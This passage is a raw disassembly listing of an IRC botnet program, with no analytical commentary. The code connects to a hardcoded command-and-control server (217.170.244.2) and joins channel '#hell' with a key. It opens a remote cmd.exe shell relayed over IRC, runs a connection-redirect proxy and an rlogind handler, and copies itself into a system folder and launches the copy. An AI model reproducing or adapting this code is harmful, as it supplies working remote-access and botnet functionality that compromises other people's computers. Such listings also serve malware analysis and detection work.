[ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_404592 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_404592 xor eax, eax add esp, 2Ch inc eax mov dword_479BB8, eax jmp loc_407B7E sub_4078FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1EF proc near ; CODE XREF: .text:00414AA6p var_98C = byte ptr -98Ch var_888 = byte ptr -888h var_887 = byte ptr -887h var_6F8 = byte ptr -6F8h var_5F8 = byte ptr -5F8h var_4F8 = byte ptr -4F8h var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_1EC = byte ptr -1ECh var_E8 = byte ptr -0E8h var_68 = dword ptr -68h var_5C = dword ptr -5Ch var_3C = dword ptr -3Ch var_38 = word ptr -38h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 98Ch push ebx xor ebx, ebx push esi push edi mov [ebp+var_10], ebx mov [ebp+var_C], ebx mov [ebp+var_8], offset sub_402795 push [ebp+var_8] push large dword ptr fs:0 mov large fs:0, esp mov esi, ds:dword_41F004 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_479BB0, eax call esi push eax call sub_412D64 pop ecx call sub_40468E push 2 call dword_433478 push 7530h push offset aBot018 ; "Bot018" push ebx push ebx call ds:dword_41F0DC push eax call ds:dword_41F0D8 cmp eax, 102h jnz short loc_40D26E push 1 jmp loc_40D4CE ; --------------------------------------------------------------------------- loc_40D26E: ; CODE XREF: sub_40D1EF+76j lea eax, [ebp+var_888] push eax push 202h call dword_4334B0 cmp eax, ebx mov [ebp+var_8], eax jnz loc_40D73B cmp [ebp+var_888], 2 jnz loc_40D735 cmp [ebp+var_887], 2 jnz loc_40D735 mov esi, 104h push esi lea eax, [ebp+var_3F4] push eax call ds:dword_41F040 push esi lea eax, [ebp+var_2F0] push eax push ebx call ds:dword_41F078 push eax call ds:dword_41F010 lea eax, [ebp+var_5F8] push eax lea eax, [ebp+var_6F8] push eax push ebx lea eax, [ebp+var_2F0] push ebx push eax call sub_4141AD lea eax, [ebp+var_5F8] push eax lea eax, [ebp+var_6F8] push eax push offset aSS ; "%s%s" lea eax, [ebp+var_4F8] push esi push eax call sub_412E0D lea eax, [ebp+var_3F4] push eax lea eax, [ebp+var_2F0] push eax call sub_413920 add esp, 30h test eax, eax jnz loc_40D4D4 cmp dword_42AE54, ebx mov esi, offset byte_42AED0 jz short loc_40D376 mov eax, esi xor edi, edi lea ecx, [eax+1] loc_40D33C: ; CODE XREF: sub_40D1EF+152j mov dl, [eax] inc eax cmp dl, bl jnz short loc_40D33C sub eax, ecx add eax, 0FFFFFFFAh test eax, eax jbe short loc_40D376 loc_40D34C: ; CODE XREF: sub_40D1EF+185j call sub_412D71 cdq push 1Ah pop ecx idiv ecx mov eax, esi lea ecx, [eax+1] add dl, 61h mov byte_42AED0[edi], dl inc edi loc_40D366: ; CODE XREF: sub_40D1EF+17Cj mov dl, [eax] inc eax cmp dl, bl jnz short loc_40D366 sub eax, ecx add eax, 0FFFFFFFAh cmp edi, eax jb short loc_40D34C loc_40D376: ; CODE XREF: sub_40D1EF+144j ; sub_40D1EF+15Bj push esi lea eax, [ebp+var_3F4] push eax lea eax, [ebp+var_1EC] push offset aSS_5 ; "%s\\%s" push eax call sub_412BB5 add esp, 10h lea eax, [ebp+var_1EC] push eax call ds:dword_41F06C cmp eax, 0FFFFFFFFh jz short loc_40D3B6 push 80h lea eax, [ebp+var_1EC] push eax call ds:dword_41F0A0 loc_40D3B6: ; CODE XREF: sub_40D1EF+1B3j mov esi, ds:dword_41F000 push 7D0h call esi mov edi, ds:dword_41F0D4 mov [ebp+var_4], ebx jmp short loc_40D3F1 ; --------------------------------------------------------------------------- loc_40D3CE: ; CODE XREF: sub_40D1EF+215j call ds:dword_41F008 cmp [ebp+var_4], ebx jnz short loc_40D406 cmp eax, 20h jz short loc_40D3E3 cmp eax, 5 jnz short loc_40D406 loc_40D3E3: ; CODE XREF: sub_40D1EF+1EDj push 3A98h mov [ebp+var_4], 1 call esi loc_40D3F1: ; CODE XREF: sub_40D1EF+1DDj push ebx lea eax, [ebp+var_1EC] push eax lea eax, [ebp+var_2F0] push eax call edi test eax, eax jz short loc_40D3CE loc_40D406: ; CODE XREF: sub_40D1EF+1E8j ; sub_40D1EF+1F2j lea eax, [ebp+var_1EC] push eax call sub_40584F pop ecx push 7 lea eax, [ebp+var_1EC] push eax call ds:dword_41F0A0 xor eax, eax lea edi, [ebp+var_24] stosd stosd stosd stosd push 11h pop ecx xor eax, eax lea edi, [ebp+var_68] rep stosd xor edi, edi inc edi mov [ebp+var_5C], 41FA76h mov [ebp+var_68], 44h mov [ebp+var_3C], edi mov [ebp+var_38], bx call ds:dword_41F0D0 push eax push edi push 100000h call ds:dword_41F0C4 lea ecx, [ebp+var_2F0] push ecx push eax lea eax, [ebp+var_1EC] push eax lea eax, [ebp+var_98C] push offset aSDS ; "%s %d \"%s\"" push eax call sub_412BB5 add esp, 14h lea eax, [ebp+var_24] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_3F4] push eax push ebx push 28h push edi push ebx push ebx lea eax, [ebp+var_98C] push eax lea eax, [ebp+var_1EC] push eax call ds:dword_41F030 test eax, eax jz short loc_40D4DA push 0C8h call esi push [ebp+var_24] mov esi, ds:dword_41F034 call esi push [ebp+var_20] call esi call dword_4335B8 push ebx loc_40D4CE: ; CODE XREF: sub_40D1EF+7Aj call ds:dword_41F02C loc_40D4D4: ; CODE XREF: sub_40D1EF+133j mov esi, ds:dword_41F000 loc_40D4DA: ; CODE XREF: sub_40D1EF+2BFj cmp dword_479E70, 2 jle short loc_40D522 mov eax, dword_479E74 push dword ptr [eax+4] call sub_412F42 pop ecx mov edi, eax push 0FFFFFFFFh push edi call ds:dword_41F0D8 push edi call ds:dword_41F034 mov eax, dword_479E74 cmp [eax+8], ebx jz short loc_40D522 push 7D0h call esi mov eax, dword_479E74 push dword ptr [eax+8] call ds:dword_41F0B8 loc_40D522: ; CODE XREF: sub_40D1EF+2F2j ; sub_40D1EF+31Cj cmp dword_42AE58, ebx jz short loc_40D53F cmp dword_433600, ebx jnz short loc_40D53F lea eax, [ebp+var_4F8] push eax call sub_401E73 pop ecx loc_40D53F: ; CODE XREF: sub_40D1EF+339j ; sub_40D1EF+341j lea eax, [ebp+var_E8] push offset aMainBotStarted ; "[MAIN]: Bot started." push eax call sub_412BB5 push ebx lea eax, [ebp+var_E8] push ebx push eax call sub_410EEA lea eax, [ebp+var_E8] push eax call sub_401C33 xor eax, eax mov ecx, 2E0h mov edi, offset dword_479030 rep stosd lea eax, [ebp+var_E8] push offset aSecureSystemSe ; "[SECURE]: System secure monitor active."... push eax call sub_412BB5 push ebx lea eax, [ebp+var_E8] push 1Ah push eax call sub_410EEA add esp, 2Ch mov edi, eax lea eax, [ebp+var_10] push eax push ebx push ebx push offset sub_40F005 push ebx push ebx call ds:dword_41F00C imul edi, 234h cmp eax, ebx mov dword_43434C[edi], eax jnz short loc_40D5DB call ds:dword_41F008 push eax lea eax, [ebp+var_E8] push offset aSecureFailedTo ; "[SECURE]: Failed to start secure thread"... push eax call sub_412BB5 add esp, 0Ch loc_40D5DB: ; CODE XREF: sub_40D1EF+3CFj lea eax, [ebp+var_E8] push eax call sub_401C33 push 7Fh push offset a217_170_244_2 ; "217.170.244.2" push offset dword_478ECC mov dword_479BBC, ebx call sub_412C40 mov eax, dword_42AE38 push 3Fh push offset aHell ; "#hell" mov esi, offset dword_478F4C push esi mov dword_47901C, eax call sub_412C40 push 3Fh push offset aTroopers ; "troopers" mov edi, offset dword_478F8C push edi call sub_412C40 add esp, 28h mov dword_479020, ebx loc_40D635: ; CODE XREF: sub_40D1EF+4ECj ; sub_40D1EF+4F7j ... mov [ebp+var_4], ebx loc_40D638: ; CODE XREF: sub_40D1EF+4A0j cmp dword_433618, ebx jnz short loc_40D656 push ebx lea eax, [ebp+var_14] push eax call dword_433428 test eax, eax jnz short loc_40D656 push 7530h jmp short loc_40D682 ; --------------------------------------------------------------------------- loc_40D656: ; CODE XREF: sub_40D1EF+44Fj ; sub_40D1EF+45Ej push offset dword_478EC8 mov dword_479BB8, ebx call sub_40779B cmp eax, 2 mov [ebp+var_8], eax jz loc_40D730 cmp dword_479BB8, ebx jz short loc_40D67D dec [ebp+var_4] loc_40D67D: ; CODE XREF: sub_40D1EF+489j push 0BB8h loc_40D682: ; CODE XREF: sub_40D1EF+465j call ds:dword_41F000 inc [ebp+var_4] cmp [ebp+var_4], 3 jl short loc_40D638 cmp [ebp+var_8], 2 jz loc_40D730 cmp [ebp+var_C], ebx jz short loc_40D6E0 push 7Fh push offset a217_170_244_2 ; "217.170.244.2" push offset dword_478ECC call sub_412C40 mov eax, dword_42AE38 push 3Fh push offset aHell ; "#hell" push esi mov dword_47901C, eax call sub_412C40 push 3Fh push offset aTroopers ; "troopers" push edi call sub_412C40 add esp, 24h mov [ebp+var_C], ebx jmp loc_40D635 ; --------------------------------------------------------------------------- loc_40D6E0: ; CODE XREF: sub_40D1EF+4AFj cmp byte_42AEAC, bl jz loc_40D635 push 7Fh push offset byte_42AEAC push offset dword_478ECC call sub_412C40 mov eax, dword_42AE3C push 3Fh push offset dword_42AEBC push esi mov dword_47901C, eax call sub_412C40 push 3Fh push offset aTroopers_0 ; "troopers" push edi call sub_412C40 add esp, 24h mov [ebp+var_C], 1 jmp loc_40D635 ; --------------------------------------------------------------------------- loc_40D730: ; CODE XREF: sub_40D1EF+47Dj ; sub_40D1EF+4A6j call sub_41105B loc_40D735: ; CODE XREF: sub_40D1EF+A3j ; sub_40D1EF+B0j call dword_4335B8 loc_40D73B: ; CODE XREF: sub_40D1EF+96j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40D1EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40D744 proc near ; DATA XREF: sub_40D7DF+12Co var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_412DD0 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov ebx, 1000h jmp short loc_40D799 ; --------------------------------------------------------------------------- loc_40D77E: ; CODE XREF: sub_40D744+7Bj push 0 push eax lea eax, [ebp+var_1128] push eax push dword_434344[esi] call dword_433534 cmp eax, 0FFFFFFFFh jz short loc_40D7C1 loc_40D799: ; CODE XREF: sub_40D744+38j xor eax, eax push eax lea edi, [ebp+var_1128] mov ecx, 400h rep stosd push ebx lea eax, [ebp+var_1128] push eax push dword_434348[esi] call dword_433414 test eax, eax jg short loc_40D77E loc_40D7C1: ; CODE XREF: sub_40D744+53j push dword_434348[esi] call dword_4335AC push [ebp+var_14] call sub_4111AE pop ecx push 0 call ds:dword_41F014 int 3 ; Trap to Debugger sub_40D744 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40D7DF proc near ; DATA XREF: sub_40D9BC+118o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_412DD0 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_144] rep movsd mov esi, [ebp+var_30] xor ecx, ecx inc ecx push 6 push ecx push 2 mov [eax+120h], ecx mov [ebp+var_4], esi call dword_4334A0 xor ebx, ebx cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_40D93E push [ebp+var_3C] xor eax, eax lea edi, [ebp+var_18] stosd stosd stosd stosd mov [ebp+var_18], 2 call dword_4335EC mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_433514 cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40D867 lea eax, [ebp+var_13C] push eax call dword_433500 jmp short loc_40D875 ; --------------------------------------------------------------------------- loc_40D867: ; CODE XREF: sub_40D7DF+77j push 2 push 4 lea eax, [ebp+var_8] push eax call dword_433590 loc_40D875: ; CODE XREF: sub_40D7DF+86j cmp eax, ebx jz loc_40D93E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax push 10h lea eax, [ebp+var_18] push eax push [ebp+arg_0] call dword_433458 cmp eax, 0FFFFFFFFh jz loc_40D93E push [ebp+var_34] movzx eax, [ebp+var_16] push eax push [ebp+var_14] mov [ebp+var_20], ebx call dword_433520 push eax lea eax, [ebp+var_344] push offset aRedirectClient ; "[REDIRECT]: Client connection to IP: %s"... push eax call sub_412BB5 push [ebp+arg_0] lea eax, [ebp+var_344] push 11h push eax call sub_410EEA imul esi, 234h mov ecx, [ebp+var_34] mov [ebp+var_30], eax imul eax, 234h mov dword_43433C[eax], ecx add esp, 20h lea esi, dword_434344[esi] mov ecx, [esi] mov dword_434348[eax], ecx lea eax, [ebp+var_1C] push eax push ebx lea eax, [ebp+var_144] push eax push offset sub_40D744 push ebx push ebx call ds:dword_41F00C mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, ebx mov dword_43434C[ecx], eax jnz short loc_40D974 call ds:dword_41F008 push eax push offset aRedirectFail_0 ; "[REDIRECT]: Failed to start connection "... call sub_401CA7 pop ecx pop ecx loc_40D93E: ; CODE XREF: sub_40D7DF+42j ; sub_40D7DF+98j ... mov eax, [ebp+var_4] imul eax, 234h push dword_434344[eax] call dword_4335AC push [ebp+arg_0] call dword_4335AC push [ebp+var_4] call sub_4111AE pop ecx push ebx call ds:dword_41F014 loc_40D96C: ; CODE XREF: sub_40D7DF+198j push 32h call ds:dword_41F000 loc_40D974: ; CODE XREF: sub_40D7DF+14Aj cmp [ebp+var_20], ebx jz short loc_40D96C jmp short loc_40D992 ; --------------------------------------------------------------------------- loc_40D97B: ; CODE XREF: sub_40D7DF+1D9j push ebx push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_433534 cmp eax, 0FFFFFFFFh jz short loc_40D93E loc_40D992: ; CODE XREF: sub_40D7DF+19Aj xor eax, eax push ebx lea edi, [ebp+var_1344] mov ecx, 400h rep stosd push 1000h lea eax, [ebp+var_1344] push eax push dword ptr [esi] call dword_433414 cmp eax, ebx jg short loc_40D97B jmp short loc_40D93E sub_40D7DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D9BC proc near ; DATA XREF: sub_4078FA+26DCo var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov esi, eax push 4Ah pop ecx lea edi, [ebp+var_14C] rep movsd push [ebp+var_40] xor esi, esi inc esi mov [eax+120h], esi xor eax, eax lea edi, [ebp+var_10] stosd stosd stosd stosd mov [ebp+var_10], 2 call dword_4335EC push 6 push esi xor ebx, ebx push 2 mov [ebp+var_E], ax mov [ebp+var_C], ebx mov [ebp+arg_0], 10h call dword_4334A0 mov edi, eax cmp edi, 0FFFFFFFFh jz loc_40DB1B mov eax, [ebp+var_3C] imul eax, 234h push esi push 401h push ebx push edi mov dword_434344[eax], edi call dword_43352C push 10h lea eax, [ebp+var_10] push eax push edi call dword_433578 test eax, eax jnz loc_40DB1B push 0Ah push edi call dword_4335C0 test eax, eax jnz loc_40DB1B loc_40DA62: ; CODE XREF: sub_40D9BC+BAj ; sub_40D9BC+15Aj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push edi call dword_433464 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40DA62 push [ebp+var_3C] movzx eax, [ebp+var_22] push eax push [ebp+var_20] mov [ebp+var_148], esi mov [ebp+var_2C], ebx call dword_433520 push eax lea eax, [ebp+var_34C] push offset aRedirectClie_0 ; "[REDIRECT]: Client connection from IP: "... push eax call sub_412BB5 push esi lea eax, [ebp+var_34C] push 11h push eax call sub_410EEA mov ecx, [ebp+var_3C] mov [ebp+var_38], eax imul eax, 234h add esp, 20h mov dword_43433C[eax], ecx lea eax, [ebp+var_14] push eax push ebx lea eax, [ebp+var_14C] push eax push offset sub_40D7DF push ebx push ebx call ds:dword_41F00C mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, ebx mov dword_43434C[ecx], eax jnz short loc_40DB11 call ds:dword_41F008 push eax push offset aRedirectFail_1 ; "[REDIRECT]: Failed to start client thre"... call sub_401CA7 pop ecx pop ecx jmp short loc_40DB1E ; --------------------------------------------------------------------------- loc_40DB09: ; CODE XREF: sub_40D9BC+158j push 32h call ds:dword_41F000 loc_40DB11: ; CODE XREF: sub_40D9BC+136j cmp [ebp+var_2C], ebx jz short loc_40DB09 jmp loc_40DA62 ; --------------------------------------------------------------------------- loc_40DB1B: ; CODE XREF: sub_40D9BC+5Dj ; sub_40D9BC+8Fj ... mov esi, [ebp+arg_0] loc_40DB1E: ; CODE XREF: sub_40D9BC+14Bj push esi call dword_4335AC push edi call dword_4335AC push [ebp+var_3C] call sub_4111AE pop ecx push ebx call ds:dword_41F014 int 3 ; Trap to Debugger sub_40D9BC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40DB3D proc near ; CODE XREF: sub_40DB6D+30p ; sub_40DBAB+85p ... mov eax, dword_479BCC cmp eax, 0FFFFFFFFh push esi mov esi, ds:dword_41F034 jz short loc_40DB51 push eax call esi loc_40DB51: ; CODE XREF: sub_40DB3D+Fj mov eax, dword_479BC8 cmp eax, 0FFFFFFFFh jz short loc_40DB5E push eax call esi loc_40DB5E: ; CODE XREF: sub_40DB3D+1Cj mov eax, dword_479C04 cmp eax, 0FFFFFFFFh jz short loc_40DB6B push eax call esi loc_40DB6B: ; CODE XREF: sub_40DB3D+29j pop esi retn sub_40DB3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB6D proc near ; CODE XREF: sub_4078FA+34AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea edx, [eax+1] loc_40DB77: ; CODE XREF: sub_40DB6D+Fj mov cl, [eax] inc eax test cl, cl jnz short loc_40DB77 push 0 lea ecx, [ebp+var_4] push ecx sub eax, edx push eax push [ebp+arg_0] mov [ebp+var_4], eax push dword_479BC0 call ds:dword_41F038 test eax, eax jnz short loc_40DBA6 call sub_40DB3D xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40DBA6: ; CODE XREF: sub_40DB6D+2Ej xor eax, eax inc eax leave retn sub_40DB6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DBAB proc near ; CODE XREF: sub_40DC39+D9p ; sub_40DC39+11Fp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi mov esi, [ebp+arg_4] xor ecx, ecx push edi inc ecx mov edi, 41FA76h xor eax, eax repe cmpsb pop edi pop esi jz short loc_40DBF0 push 0FAh call ds:dword_41F000 push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_412BB5 add esp, 10h jmp short loc_40DC07 ; --------------------------------------------------------------------------- loc_40DBF0: ; CODE XREF: sub_40DBAB+1Cj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_412BB5 add esp, 0Ch loc_40DC07: ; CODE XREF: sub_40DBAB+43j lea eax, [ebp+var_200] lea edx, [eax+1] loc_40DC10: ; CODE XREF: sub_40DBAB+6Aj mov cl, [eax] inc eax test cl, cl jnz short loc_40DC10 push 0 sub eax, edx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_433534 test eax, eax jg short loc_40DC35 call sub_40DB3D loc_40DC35: ; CODE XREF: sub_40DBAB+83j xor eax, eax leave retn sub_40DBAB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC39 proc near ; DATA XREF: sub_40DDC6+16Ao var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi xor eax, eax mov ebx, 80h mov ecx, ebx lea edi, [ebp+var_20C] rep stosd xor edi, edi push edi push edi lea eax, [ebp+var_4] push eax mov esi, 200h push esi lea eax, [ebp+var_20C] push eax push dword_479BCC call ds:dword_41F0E4 test eax, eax jz loc_40DD48 jmp short loc_40DC83 ; --------------------------------------------------------------------------- loc_40DC81: ; CODE XREF: sub_40DC39+109j xor edi, edi loc_40DC83: ; CODE XREF: sub_40DC39+46j cmp [ebp+var_4], edi jnz short loc_40DCB3 lea eax, [ebp+var_8] push eax push dword_479C04 call ds:dword_41F0E0 test eax, eax jz short loc_40DCA9 cmp [ebp+var_8], 103h jnz loc_40DD75 loc_40DCA9: ; CODE XREF: sub_40DC39+61j push 0Ah call ds:dword_41F000 jmp short loc_40DD1A ; --------------------------------------------------------------------------- loc_40DCB3: ; CODE XREF: sub_40DC39+4Dj xor eax, eax cmp [ebp+var_4], edi jbe short loc_40DCCE loc_40DCBA: ; CODE XREF: sub_40DC39+93j cmp [ebp+eax+var_20C], 0Ah jz loc_40DD6C inc eax cmp eax, [ebp+var_4] jb short loc_40DCBA loc_40DCCE: ; CODE XREF: sub_40DC39+7Fj mov [ebp+var_4], esi loc_40DCD1: ; CODE XREF: sub_40DC39+137j xor eax, eax push eax mov ecx, ebx lea edi, [ebp+var_20C] rep stosd lea eax, [ebp+var_C] push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_479BCC call ds:dword_41F058 test eax, eax jz loc_40DD9D lea eax, [ebp+var_20C] push eax push offset dword_479BD0 push dword_479BC4 call sub_40DBAB add esp, 0Ch loc_40DD1A: ; CODE XREF: sub_40DC39+78j xor eax, eax push eax push eax mov ecx, ebx lea edi, [ebp+var_20C] rep stosd lea eax, [ebp+var_4] push eax push esi lea eax, [ebp+var_20C] push eax push dword_479BCC call ds:dword_41F0E4 test eax, eax jnz loc_40DC81 loc_40DD48: ; CODE XREF: sub_40DC39+40j push offset aCmdCouldNotRea ; "[CMD]: Could not read data from procces"... push offset dword_479BD0 push dword_479BC4 call sub_40DBAB push [ebp+arg_0] call sub_4111AE add esp, 10h push 1 jmp short loc_40DDBF ; --------------------------------------------------------------------------- loc_40DD6C: ; CODE XREF: sub_40DC39+89j inc eax mov [ebp+var_4], eax jmp loc_40DCD1 ; --------------------------------------------------------------------------- loc_40DD75: ; CODE XREF: sub_40DC39+6Aj call sub_40DB3D push offset aCmdProccessHas ; "[CMD]: Proccess has terminated.\r\n" push offset dword_479BD0 push dword_479BC4 call sub_40DBAB push [ebp+arg_0] call sub_4111AE add esp, 10h push edi jmp short loc_40DDBF ; --------------------------------------------------------------------------- loc_40DD9D: ; CODE XREF: sub_40DC39+C1j push offset aCmdCouldNotR_0 ; "[CMD]: Could not read data from procces"... push offset dword_479BD0 push dword_479BC4 call sub_40DBAB push [ebp+arg_0] call sub_4111AE add esp, 10h push 0 loc_40DDBF: ; CODE XREF: sub_40DC39+131j ; sub_40DC39+162j call ds:dword_41F014 int 3 ; Trap to Debugger sub_40DC39 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DDC6 proc near ; CODE XREF: sub_4078FA+421Cp var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push esi call sub_40DB3D xor esi, esi push esi lea eax, [ebp+var_178] push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_4334C0 test eax, eax jnz short loc_40DDFD or eax, 0FFFFFFFFh jmp loc_40DF72 ; --------------------------------------------------------------------------- loc_40DDFD: ; CODE XREF: sub_40DDC6+2Dj push ebx push edi mov edi, ds:dword_41F0EC push esi lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_C] push eax xor ebx, ebx lea eax, [ebp+var_10] inc ebx push eax mov [ebp+var_1C], 0Ch mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jnz short loc_40DE30 loc_40DE28: ; CODE XREF: sub_40DDC6+7Bj ; sub_40DDC6+9Dj ... or eax, 0FFFFFFFFh jmp loc_40DF70 ; --------------------------------------------------------------------------- loc_40DE30: ; CODE XREF: sub_40DDC6+60j push esi lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz short loc_40DE28 mov edi, ds:dword_41F0B4 push 3 push esi push esi push offset dword_479BC0 call edi push eax push [ebp+var_8] call edi push eax call ds:dword_41F0E8 test eax, eax jz short loc_40DE28 xor eax, eax lea edi, [ebp+var_2C] stosd stosd stosd push 11h pop ecx stosd xor eax, eax lea edi, [ebp+var_74] rep stosd mov eax, [ebp+var_4] mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi push esi mov ebx, 41FA76h push ebx lea eax, [ebp+var_178] push eax mov [ebp+var_74], 44h mov [ebp+var_48], 101h mov [ebp+var_44], si call ds:dword_41F030 test eax, eax jz loc_40DE28 push [ebp+var_4] mov edi, ds:dword_41F034 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_479BCC, eax mov eax, [ebp+var_8] mov dword_479BC8, eax mov eax, [ebp+var_2C] mov dword_479C04, eax call edi cmp [ebp+arg_4], esi mov eax, [ebp+arg_0] mov dword_479BC4, eax jz short loc_40DEFC push [ebp+arg_4] jmp short loc_40DEFD ; --------------------------------------------------------------------------- loc_40DEFC: ; CODE XREF: sub_40DDC6+12Fj push ebx loc_40DEFD: ; CODE XREF: sub_40DDC6+134j push offset dword_479BD0 call sub_412BB5 pop ecx pop ecx push esi push 8 push offset aCmdRemoteComma ; "[CMD]: Remote Command Prompt" call sub_410EEA mov ecx, [ebp+var_24] mov edi, eax imul edi, 234h add esp, 0Ch mov dword_434340[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40DC39 push esi push esi call ds:dword_41F00C cmp eax, esi mov dword_43434C[edi], eax jnz short loc_40DF6E call ds:dword_41F008 push eax lea eax, [ebp+var_378] push offset aCmdFailedToSta ; "[CMD]: Failed to start IO thread, error"... push eax call sub_412BB5 lea eax, [ebp+var_378] push eax call sub_401C33 add esp, 10h loc_40DF6E: ; CODE XREF: sub_40DDC6+17Fj xor eax, eax loc_40DF70: ; CODE XREF: sub_40DDC6+65j pop edi pop ebx loc_40DF72: ; CODE XREF: sub_40DDC6+32j pop esi leave retn sub_40DDC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DF75 proc near ; CODE XREF: sub_40E00D+A6p ; sub_40E00D+B6p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi mov esi, eax loc_40DF7C: ; CODE XREF: sub_40DF75+2Aj push 0 push 1 lea eax, [ebp+var_1] push eax push [ebp+arg_0] call dword_433414 cmp eax, 1 jnz short loc_40DFB2 mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_4] jz short loc_40DFA7 test al, al jnz short loc_40DF7C xor eax, eax inc eax loc_40DFA4: ; CODE XREF: sub_40DF75+3Fj pop esi leave retn ; --------------------------------------------------------------------------- loc_40DFA7: ; CODE XREF: sub_40DF75+26j push offset aRlogindProtoco ; "[RLOGIND]: Protocol string too long." call sub_401CA7 pop ecx loc_40DFB2: ; CODE XREF: sub_40DF75+1Bj xor eax, eax jmp short loc_40DFA4 sub_40DF75 endp ; =============== S U B R O U T I N E ======================================= sub_40DFB6 proc near ; DATA XREF: sub_40E219+5Ao arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax setz al retn sub_40DFB6 endp ; =============== S U B R O U T I N E ======================================= sub_40DFC0 proc near ; CODE XREF: sub_40E00D+175p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_40DFC5: ; CODE XREF: sub_40DFC0+21j mov dl, [eax] mov 